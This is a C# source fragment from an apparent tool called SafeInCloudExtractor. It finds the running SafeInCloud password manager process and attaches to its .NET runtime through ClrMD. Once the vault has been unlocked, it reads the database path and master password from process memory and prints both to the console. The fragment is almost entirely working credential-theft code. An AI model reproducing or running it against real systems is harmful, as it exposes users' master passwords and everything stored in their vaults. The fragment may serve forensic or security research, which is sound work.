internal void Extract() { Console.WriteLine(@"SafeInCloudExtractor is working."); Process appProcess = GetAppProcess(); if (appProcess == null) { Console.WriteLine(@"Couldn't find application process."); return; } Console.WriteLine($@"Found SafeInCloud process. ID: {appProcess.Id}"); ClrRuntime runtime = GetRuntime(appProcess); if (runtime == null) { Console.WriteLine(@"Couldn't find ClrRuntime."); return; } ClrObject dBModelTypeObj = GetInfoObject(runtime, Resources.DbModelTypeName); if (dBModelTypeObj.IsNull) { Console.WriteLine(@"Couldn't find DatabaseModel type object."); return; } int state; try { state = dBModelTypeObj.GetField <int>(Resources.StateFieldName); } catch (Exception) { Console.WriteLine(@"Couldn't find program state."); return; } if (state != 2) { Console.WriteLine(@"Password must be entered at least once."); return; } string dbPath = dBModelTypeObj.GetStringField(Resources.DbModelDbPathField); string password = dBModelTypeObj.GetStringField(Resources.DbModelPasswordField); Console.WriteLine($@"Database path: {dbPath}"); Console.WriteLine($@"Database password: {password}"); }
/// <summary> /// Gets a string field from the object. Note that the type must match exactly, as this method /// will not do type coercion. This method will throw an ArgumentException if no field matches /// the given name. It will throw a NullReferenceException if the target object is null (that is, /// if (IsNull returns true). It will throw an InvalidOperationException if the field is not /// of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading /// the value of this field out of the data target. /// </summary> /// <param name="fieldName">The name of the field to get the value for.</param> /// <returns>The value of the given field.</returns> /// <inheritdoc /> public string GetStringField(string fieldName) => Object.GetStringField(fieldName);